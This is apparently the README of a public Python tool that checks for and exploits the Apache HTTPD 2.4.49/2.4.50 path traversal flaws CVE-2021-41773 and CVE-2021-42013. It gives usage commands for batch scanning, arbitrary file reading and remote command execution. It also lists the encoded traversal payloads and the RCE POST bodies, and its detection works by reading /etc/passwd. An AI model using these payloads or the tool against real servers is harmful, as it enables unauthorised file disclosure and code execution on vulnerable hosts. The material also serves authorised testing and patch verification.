thelsa/apache-httpd-path-traversal-checkerapache httpd path traversal checker(CVE-2021-41773 / CVE-2021-42013)
On October 5, 2021, the directory traversal vulnerability (CVE-2021-41773) in Apache HTTPD 2.4.49 was disclosed online, which could lead to arbitrary file reading (if the traversed directory is accessible, such as when configured with <Directory />Require all granted</Directory>, which is not allowed by default) or remote code execution (RCE requires CGI enabled, and the CGI module is not included by default).
On October 8, 2021, a directory traversal vulnerability (CVE-2021-42013) in version 2.4.50 emerged, bypassing the fix for CVE-2021-41773.
Vulnerability details reference: Apache HTTPD 2.4.49/2.4.50 Directory Traversal Vulnerability Reproduction and Analysis
Run with Python 3.
Usage: python3 apache-httpd-path-traversal.py -h
Single URL check: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80"
Batch check: python3 apache-httpd-path-traversal.py -f urls.txt -t 30 -s 3
File reading: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /icons --readfile
Command execution: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /cgi-bin --rce
Uses urllib.request to send HTTP packets.
The detection of the vulnerability relies on reading /etc/passwd and checking whether the returned data contains the string root: (since most systems are Linux, Windows detection is temporarily ignored).
Multi-threaded with configurable timeout to improve efficiency.
Optional directories (--cdir) and RCE shell command (--rceshell) are available for flexibility.
During detection, a list of common directories is used to increase the hit rate:
commonDirList = ['/cgi-bin', '/icons', '/assets', '/uploads', '/img', '/image']
Note: sometimes file reading uses the icons directory, while RCE requires the cgi-bin directory — analysis depends on the specific scenario.
Uses 7 PoCs and 2 RCE POST data formats:
#cve-2021-41773
poc0 = "/.%2e/%2e%2e/%2e%2e/%2e%2e"
poc1 = "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e"
#cve-2021-42013
poc2 = "/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65"
poc3 = "/.%%32%65/.%%32%65/.%%32%65/.%%32%65"
poc4 = "/.%%32e/.%%32e/.%%32e/.%%32e"
poc5 = "/.%2%65/.%2%65/.%2%65/.%2%65"
#rce data
rce0 = "echo;id"
rce1 = "echo Content-Type: text/plain; echo; id"
// Changing the RCE POST method to GET also seems to work.
// The number of path layers in the payload should be adjusted according to the target Apache directory depth – generally 4 layers are sufficient.
// A directory that exists in Apache (e.g., icons/ or cgi-bin/) is required.
Gmail: [email protected]